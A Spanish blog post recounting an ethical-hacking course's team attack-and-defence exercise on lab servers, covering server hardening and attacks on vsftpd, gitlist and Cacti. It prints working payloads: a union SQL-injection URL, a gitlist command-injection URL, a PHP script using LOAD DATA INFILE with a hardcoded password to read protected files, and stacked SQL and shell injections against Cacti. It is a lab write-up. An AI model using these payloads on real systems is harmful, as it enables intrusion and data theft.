miércoles, 21 de octubre de 2015

Compendio de hacking ético

Comenzamos reseñando una serie de sitios relevantes para el hacking ético, para luego manejar una serie de herramientas básicas para obtener información de servidores externos, como ping, whois y nmap. El manejo de Wireshark se mostró interesante a la hora de analizar las conexiones en general, lo que se aplicó al estudio del telnet, ssh y ssl. Posteriormente sobrevolamos los rudimentos básicos de la SQL injection sobre la plataforma DVWA. Concluimos esta fase con una Reflexión general de lo hecho hasta entonces.
Para continuar se requirió resolver un enigma que consistía en descifrar un archivo gpg cuya clave se encontraba oculta en un servidor DVWA. Usando inyección SQL con la pista de Yoda buscamos la tabla guestbook de la que volcamos todos sus campos:
http://pruebas.euskalert.net/vulnerabilities/sqli/?id=%25%27+and+1%3D0+union+select+null%2C+concat%28comment_id%2C0x0a%2Ccomment%2C0x0a%2Cname%29+from+guestbook+%23&Submit=Submit#

Desencriptamos el gpg con la clave "use the force"


Una vez en el grupo oculto de Facebook consejojedi formamos grupo
siéndonos asignado el servidor 188.166.84.116 en cuanto equipo número 6. Lo primero fue establecer qué archivos eran los gpg secretos que debíamos defender y dónde buscarlos en el resto de equipos. Dado que eran gpg's una sencilla búsqueda locate -b *.gpg nos dio la pista, descubriendo los tres:
- en /srv/ftp, disponible para cualquier usuario anónimo, level 2
- en /usr/share/doc/base-files, level 1
- en /var/lib/mysql, level 3, con grupo:usuario mysql
Nos organizamos rápidamente de lo que reseño lo siguiente:
1. reforzamos el servidor en sí actualizándolo e instalando fail2ban, sysctl.conf -  configuraciones básicas de seguridad, protección básica contra ip spoofing, denegación de respuesta a solicitudes ICMP, instalación de denyhosts, configuración de Iptables para evitar escaneos con nmap y ataques DoS básicos. Cambiamos la clave ssh de acceso.
2. del análisis de las aplicaciones instaladas observamos lo siguiente:
  • a) aseguramos el servidor vsftpd eliminando el acceso anónimo
  • b) parcheamos el cacti 0.8.8a (http://www.cacti.net/download_patches.php?version=0.8.8a) para hacerlo invulnerable a los posibles exploits e inyecciones sql, y cambiamos la contraseña por defecto que traía de lo que supusimos que en todos los servidores sería igual, lo que finalmente se mostró crucial para poder atacar y obtener los archivos level 3.
  • c) actualizamos el gitlist a la versión 0.5 para evitar la vulnerabilidad Remote Code Execution del 0.4.0: http://www.cvedetails.com/cve/CVE-2014-4511/


En la fase de ataque participamos en cierta medida todos porque la rapidez parecía importante a la hora de conseguir los archivos, suponiendo en buena medida que los equipos que no se hubieran protegido correctamente lo harían al detectar intrusiones, por lo que un segundo ataque sería improbable.

  • a) lo primero fue un barrido de los servidores ftp's para detectar los que permanecieran anónimos y que nos sirvió para conseguir un buen número de level 2.

  • b) en segundo lugar procedimos a explotar la vulnerabilidad gitlist con el script https://www.exploit-db.com/exploits/33990/ aunque se puede ejecutar código directamente de la forma ip/gitlist/gitlist/blame/master/""`ls -l  /var/www/gitlist/cache/`. La vulnerabilidad se describe aquí: http://hatriot.github.io/blog/2014/06/29/gitlist-rce/. Esto nos sirvió para obtener tanto los level 1 como los level 2 de los servidores vulnerables. Con la posibilidad de tener un reverse shell probamos incluso a intentar obtener permisos root con algún exploit.

  • c) dado que los level 3 tienen permisos mysql supusimos que solo se podrían obtener explotando el cacti o el mysql. A falta de un método directo de inyección por sql en el propio cacti, probamos directamente a través de php y mysql como se explica aquí:



la forma de asegurarlo es deshabilitando cualquier LOAD DATA LOCAL arrancando mysqld con la opción –local-infile=0

Se precisa que la contraseña de Cacti sea por defecto y se requiere primero poder subir archivos (vulnerabilidad gitlist). La inyección por medio de un archivo php es

$c = mysql_connect('localhost', 'cacti', 'epMeOwAb9') or die(mysql_error());
mysql_select_db ('cacti')  or die(mysql_error());
mysql_query('CREATE TABLE IF NOT EXISTS vaapad (path longtext not null)',$c) or die(mysql_error());
mysql_query("LOAD DATA INFILE '{$level3}' INTO TABLE vaapad",$c) or die(mysql_error());
$r = mysql_query('select * from vaapad', $c) or die(mysql_error());
while($row = mysql_fetch_assoc($r)) {
   echo $row[path];
 }
mysql_query('drop table mooc', $c);
mysql_close($c);

Se conecta a la base de datos, se  crea una tabla y se carga el archivo {$level3} para por último leerlo en el servidor www.

Razón del agujero

The problem is that MySQL is a service running on it’s own. Usually, your PHP process is “jailed” within the limits of the www-data user or the one that suPHP has provided you…
I’m thinking of a standard Debian installation, where MySQL usually runs under user “mysql”, which has access to some interesting stuff, like /var/log/mysql.err,/var/log/mysql.log.*, /var/log/mysql/* and /var/lib/mysql/*, and this without considering all what the privileges of the user “mysql” implies.

Posible inyección SQL


Por último intentamos una inyección Sql Cacti directa sobre la vulnerabilidad https://www.cvedetails.com/cve/CVE-2014-5261/

Al acceder a la página cacti/graph_settings.php se observa en el log la siguiente llamada sql

REPLACE INTO settings_graphs (user_id,name,value) values (1,'unit_size', '8')

La inyección se puede entonces hacer en el valor size (8) engañando al mysql, por ejemplo

REPLACE INTO settings_graphs (user_id,name,value) values (1,'unit_size', '8'); create table mooc (path longtext not null); load_file ('/var/www/index.html') into mooc; select * from mooc into outfile '/var/www/cache/g.txt');# ‘)

En cursiva la parte que hay que inyectar.

De esa manera se podrían ejecutar los comandos sql que queramos. La llamada ha de ser POST, por ejemplo:

$post=”__csrf_magic=sid%3A2abf8de6c37e3f3b60dad64b1ca11a8b699ec66d%2C1445433992&default_rra_id=1&default_view_mode=1&default_timespan=7&default_timeshift=7&first_weekdayid=1&day_shift_start=07%3A00&day_shift_end=18%3A00&default_date_format=4&default_datechar=1&page_refresh=300&default_height=100&default_width=300&num_columns=2&default_tree_id=1&default_tree_view_mode=2&treeview_graphs_per_page=10&default_dual_pane_width=200&preview_graphs_per_page=10&list_graphs_per_page=30&custom_fonts=on&title_size=12&title_font=&legend_size=10&legend_font=&axis_size=8&axis_font=sdfsdf&unit_size=8’); create table mooc (path longtext not null); load_file ('/var/www/index.html') into mooc; select * from mooc into outfile '/var/www/cache/g.txt';#”;

Se inyecta el parámetro unit_size

Al mismo tiempo tenemos en el log de cacti la llamada a la rrdtool

10/22/2015 05:11:04 AM - WEBLOG: Poller[0] CACTI2RRD: /usr/bin/rrdtool graph - --imgformat=PNG --start=1445418663 --end=1445505063 --title='Localhost - Processes' --base=1000 --height=120 --width=500 --alt-autoscale-max --lower-limit='0' COMMENT:"From 2015/10/21 05\:11\:03 To 2015/10/22 05\:11\:03\c" COMMENT:" \n" --vertical-label='processes' --slope-mode --font TITLE:12:'sfs' --font AXIS:8f:'sdfsdf' --font LEGEND:10:'sdfsf' --font UNIT:8:'sdfdsf' DEF:a="/var/www/cacti/rra/localhost_proc_11.rrd":'proc':AVERAGE AREA:a#F51D30FF:"Running Processes" GPRINT:a:LAST:"Current\:%8.0lf" GPRINT:a:AVERAGE:"Average\:%8.0lf" GPRINT:a:MAX:"Maximum\:%8.0lf\n"

De nuevo en cualquier size pueden inyectarse comandos shell

10/22/2015 05:11:04 AM - WEBLOG: Poller[0] CACTI2RRD: /usr/bin/rrdtool graph - --imgformat=PNG --start=1445418663 --end=1445505063 --title='Localhost - Processes' --base=1000 --height=120 --width=500 --alt-autoscale-max --lower-limit='0' COMMENT:"From 2015/10/21 05\:11\:03 To 2015/10/22 05\:11\:03\c" COMMENT:" \n" --vertical-label='processes' --slope-mode --font TITLE:12:'sfs' --font AXIS:8f:'sdfsdf' --font LEGEND:10:'sdfsf' --font UNIT:8; ls /var/www #:'sdfdsf' DEF:a="/var/www/cacti/rra/localhost_proc_11.rrd":'proc':AVERAGE AREA:a#F51D30FF:"Running Processes" GPRINT:a:LAST:"Current\:%8.0lf" GPRINT:a:AVERAGE:"Average\:%8.0lf" GPRINT:a:MAX:"Maximum\:%8.0lf\n"



REFLEXIÓN FINAL

Destaco lo sugerente de plantear el aprendizaje como un reto a realizar en equipo, pues se aprende tanto individualmente al aceptar el desafío como en equipo al comentar y compartir los conocimientos con el objetivo de ganar. Queda la facilidad con que muchos servidores mal administrados pueden invadirse y el daño que con pocos conocimientos se puede hacer (cuanto más con un conocimiento avanzado), por lo que se muestra necesario del todo publicitar tanto las vulnerabilidades como los mecanismos para explotarlas para que los sitios de internet se hagan cargo y pongan remedio.

No hay comentarios:

Publicar un comentario